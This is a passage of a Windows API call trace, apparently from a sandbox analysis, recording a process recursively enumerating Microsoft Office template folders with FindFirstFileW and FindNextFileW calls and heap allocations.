Office\\Templates\\1033\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.563] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.563] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0043.563] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.564] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.564] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2355ff00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xfd04e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets.accdt", cAlternateFileName="ASSETS~1.ACC")) returned 1 [0043.564] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fc38a8 [0043.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.565] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.565] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2224d200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="ADDRES~1.ACC")) returned 1 [0043.566] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.566] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.566] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="EVENTS~1.ACC")) returned 1 [0043.566] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fc38a8 [0043.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.567] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.567] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bae3a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="1RIGHT~1.ACC")) returned 1 [0043.567] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.568] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.568] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="PROJEC~1.ACC")) returned 1 [0043.568] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fc38a8 [0043.568] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.568] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.568] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1353a200, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x377c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="107.accdt", cAlternateFileName="107~1.ACC")) returned 1 [0043.568] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.568] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.568] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 0 [0043.568] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.568] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.569] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0043.569] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.570] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.570] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityFax.Dotx", cAlternateFileName="EQUITY~1.DOT")) returned 1 [0043.570] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.571] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.571] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiveRules.potx", cAlternateFileName="FIVERU~1.POT")) returned 1 [0043.571] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.572] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.572] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0043.572] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fc38a8 [0043.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.572] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.572] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="NOTEBO~1")) returned 1 [0043.572] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fd38b0 [0043.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0470 [0043.572] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.572] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="NOTEBO~1.ONE")) returned 1 [0043.572] FindClose (in: hFindFile=0x3ec0470 | out: hFindFile=0x3ec0470) returned 1 [0043.572] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0043.572] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0043.573] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fd38b0 [0043.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0470 [0043.573] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.573] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE", cAlternateFileName="")) returned 1 [0043.573] FindClose (in: hFindFile=0x3ec0470 | out: hFindFile=0x3ec0470) returned 1 [0043.573] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0043.573] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0043.573] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.573] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.573] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0043.573] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.573] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.573] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielLetter.Dotx", cAlternateFileName="ORIELL~1.DOT")) returned 1 [0043.574] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.574] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.575] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0043.575] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, 